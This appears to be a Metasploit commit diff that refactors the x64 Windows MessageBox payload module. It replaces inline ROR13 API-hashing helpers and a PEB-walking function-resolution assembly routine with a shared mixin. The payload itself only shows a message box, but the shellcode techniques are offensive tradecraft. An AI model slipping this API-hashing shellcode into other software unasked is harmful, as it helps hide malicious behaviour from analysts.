fix(payloads): removing hardcoded block-api asm and hashes from x64 messagebox module
This commit is contained in:
@@ -9,6 +9,7 @@ module MetasploitModule
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
@@ -32,32 +33,6 @@ module MetasploitModule
|
||||
)
|
||||
end
|
||||
|
||||
def ror(dword, arg, bits = 32)
|
||||
mask = (2**arg) - 1
|
||||
mask_bits = dword & mask
|
||||
return (dword >> arg) | (mask_bits << (bits - arg))
|
||||
end
|
||||
|
||||
def rol(dword, arg, bits = 32)
|
||||
return ror(dword, bits - arg, bits)
|
||||
end
|
||||
|
||||
def hash(msg)
|
||||
hash = 0
|
||||
msg.each_byte do |c|
|
||||
hash = ror(c.ord + hash, 0xd)
|
||||
end
|
||||
return hash
|
||||
end
|
||||
|
||||
def to_unicode(msg)
|
||||
return msg.encode("binary").split('').join("\x00") + "\x00\x00"
|
||||
end
|
||||
|
||||
def api_hash(libname, function)
|
||||
return (hash(to_unicode(libname.upcase)) + hash(function)) & 0xffffffff
|
||||
end
|
||||
|
||||
def generate(_opts = {})
|
||||
style = 0x00
|
||||
case datastore['ICON'].upcase.strip
|
||||
@@ -72,134 +47,59 @@ module MetasploitModule
|
||||
style = 0x40
|
||||
end
|
||||
|
||||
if datastore['EXITFUNC'].upcase.strip == 'PROCESS'
|
||||
exitfunc_asm = %(
|
||||
exitfunc_asm = %Q^
|
||||
xor rcx,rcx
|
||||
mov r10d, #{api_hash('kernel32.dll', 'ExitProcess')}
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call rbp
|
||||
)
|
||||
elsif datastore['EXITFUNC'].upcase.strip == 'THREAD'
|
||||
exitfunc_asm = %(
|
||||
mov ebx, #{api_hash('kernel32.dll', 'ExitThread')}
|
||||
mov r10d, #{api_hash('kernel32.dll', 'GetVersion')}
|
||||
^
|
||||
if datastore['EXITFUNC'].upcase.strip == 'THREAD'
|
||||
exitfunc_asm = %Q^
|
||||
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}
|
||||
call rbp
|
||||
add rsp,0x28
|
||||
cmp al,0x6
|
||||
jl use_exitthread ; is older than Vista or Server 2003 R2?
|
||||
cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX
|
||||
jne use_exitthread
|
||||
mov ebx, #{api_hash('ntdll.dll', 'RtlExitUserThread')}
|
||||
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}
|
||||
|
||||
use_exitthread:
|
||||
push 0
|
||||
pop rcx
|
||||
mov r10d,ebx
|
||||
call rbp
|
||||
)
|
||||
^
|
||||
end
|
||||
exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string
|
||||
|
||||
payload_asm = %(
|
||||
payload_asm = %Q^
|
||||
cld
|
||||
and rsp,0xfffffffffffffff0
|
||||
call start_main
|
||||
push r9
|
||||
push r8
|
||||
push rdx
|
||||
push rcx
|
||||
push rsi
|
||||
xor rdx,rdx
|
||||
mov rdx,qword ptr gs:[rdx+0x60]
|
||||
mov rdx,qword ptr ds:[rdx+0x18]
|
||||
mov rdx,qword ptr ds:[rdx+0x20]
|
||||
next_mod:
|
||||
mov rsi,qword ptr ds:[rdx+0x50]
|
||||
movzx rcx,word ptr ds:[rdx+0x4a]
|
||||
xor r9,r9
|
||||
loop_modname:
|
||||
xor rax,rax
|
||||
lodsb
|
||||
cmp al,0x61
|
||||
jl not_lowercase
|
||||
sub al,0x20
|
||||
not_lowercase:
|
||||
ror r9d,0xd
|
||||
add r9d,eax
|
||||
loop loop_modname
|
||||
push rdx
|
||||
push r9
|
||||
mov rdx,qword ptr ds:[rdx+0x20]
|
||||
mov eax,dword ptr ds:[rdx+0x3c]
|
||||
add rax,rdx
|
||||
mov eax,dword ptr ds:[rax+0x88]
|
||||
test rax,rax
|
||||
je get_next_mod1
|
||||
add rax,rdx
|
||||
push rax
|
||||
mov ecx,dword ptr ds:[rax+0x18]
|
||||
mov r8d,dword ptr ds:[rax+0x20]
|
||||
add r8,rdx
|
||||
check_has:
|
||||
jrcxz get_next_mod
|
||||
dec rcx
|
||||
mov esi,dword ptr ds:[r8+rcx*4]
|
||||
add rsi,rdx
|
||||
xor r9,r9
|
||||
loop_funcname:
|
||||
xor rax,rax
|
||||
lodsb
|
||||
ror r9d,0xd
|
||||
add r9d,eax
|
||||
cmp al,ah
|
||||
jne loop_funcname
|
||||
add r9,qword ptr ds:[rsp+0x8]
|
||||
cmp r9d,r10d
|
||||
jne check_has
|
||||
pop rax
|
||||
mov r8d,dword ptr ds:[rax+0x24]
|
||||
add r8,rdx
|
||||
mov cx,word ptr ds:[r8+rcx*2]
|
||||
mov r8d,dword ptr ds:[rax+0x1c]
|
||||
add r8,rdx
|
||||
mov eax,dword ptr ds:[r8+rcx*4]
|
||||
add rax,rdx
|
||||
pop r8
|
||||
pop r8
|
||||
pop rsi
|
||||
pop rcx
|
||||
pop rdx
|
||||
pop r8
|
||||
pop r9
|
||||
pop r10
|
||||
sub rsp,0x20
|
||||
push r10
|
||||
jmp rax
|
||||
get_next_mod:
|
||||
pop rax
|
||||
get_next_mod1:
|
||||
pop r9
|
||||
pop rdx
|
||||
mov rdx,qword ptr ds:[rdx]
|
||||
jmp next_mod
|
||||
start_main:
|
||||
#{asm_block_api}
|
||||
start_main:
|
||||
pop rbp
|
||||
lea rcx,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + datastore['TITLE'].length + 0x105}]
|
||||
mov r10d, #{api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call get_user32
|
||||
db "user32.dll", 0x00
|
||||
get_user32:
|
||||
pop rcx
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp
|
||||
mov r9, #{style}
|
||||
lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0x103}]
|
||||
lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0x104}]
|
||||
call get_text
|
||||
db "#{datastore['TEXT']}", 0x00
|
||||
get_text:
|
||||
pop rdx
|
||||
call get_title
|
||||
db "#{datastore['TITLE']}", 0x00
|
||||
get_title:
|
||||
pop r8
|
||||
xor rcx,rcx
|
||||
mov r10d, #{api_hash('user32.dll', 'MessageBoxA')}
|
||||
mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}
|
||||
call rbp
|
||||
)
|
||||
|
||||
exitfunk:
|
||||
#{exitfunc_asm}
|
||||
^
|
||||
payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string
|
||||
payload_data << exitfunc
|
||||
payload_data << datastore['TEXT'] + "\x00"
|
||||
payload_data << datastore['TITLE'] + "\x00"
|
||||
payload_data << "user32.dll" + "\x00"
|
||||
|
||||
return payload_data
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user